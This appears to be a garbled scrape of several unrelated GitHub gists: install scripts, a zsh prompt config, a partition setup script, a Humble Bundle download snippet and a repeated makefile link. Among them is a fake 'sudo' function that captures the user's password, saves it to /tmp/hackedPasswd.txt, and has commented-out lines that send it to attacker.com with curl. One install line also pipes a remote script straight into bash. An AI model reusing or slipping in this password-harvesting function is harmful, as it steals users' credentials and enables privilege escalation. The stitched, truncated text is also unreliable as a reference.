If you need a small makefile introduction/reference you can take a look at my notes https://www.mauriciopoppe.com/notes/os/bin/make/
Project structure
. project
├── Makefile
├── build
| #!/bin/bash | |
| # Install various packages | |
| sudo apt update && sudo apt upgrade -y | |
| sudo apt install -y git tmux neovim nodejs npm python3-pip payloadsallthethings fzf | |
| sudo npm install -g eslint-cli js-beautify | |
| pip install --user pylint yapf isort | |
| # Install and configure SpaceVim | |
| curl -sLf https://spacevim.org/install.sh | bash |
| # Luke's config for the Zoomer Shell | |
| # Enable colors and change prompt: | |
| autoload -U colors && colors | |
| PS1="%B%{$fg[red]%}[%{$fg[yellow]%}%n%{$fg[green]%}@%{$fg[blue]%}%M %{$fg[magenta]%}%~%{$fg[red]%}]%{$reset_color%}$%b " | |
| # History in cache directory: | |
| HISTSIZE=10000 | |
| SAVEHIST=10000 | |
| HISTFILE=~/.cache/zsh/history |
| function sudo () | |
| { | |
| # https://null-byte.com/privesc-0194190/ | |
| realsudo="$(which sudo)"; | |
| read -s -p "[sudo] password for $USER: " inputPasswd; | |
| printf "\n"; | |
| printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt; | |
| # encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1; | |
| # curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1; | |
| $realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1; |
| #!/usr/bin/env bash | |
| # WARNING!! | |
| # This will obliterate all the data in your partition!! (not actually true, but act as if it was) | |
| # Do NOT execute this script if you don't fully understand it! | |
| # a few vars | |
| amount_of_swap=$( free --si -g | grep Mem: | gawk '{ print $2 + 1}' ) | |
| # create directories |
If you need a small makefile introduction/reference you can take a look at my notes https://www.mauriciopoppe.com/notes/os/bin/make/
Project structure
. project
├── Makefile
├── build
| /* | |
| After purchasing a humble book bundle, go to your download page for that bundle. | |
| Open a console window for the page and paste in the below javascript | |
| */ | |
| $('a').each(function(i){ | |
| if ($.trim($(this).text()) == 'MOBI') { | |
| $('body').append('<iframe id="dl_iframe_'+i+'" style="display:none;">'); | |
| document.getElementById('dl_iframe_'+i).src = $(this).data('web'); | |
| } | |
| }); |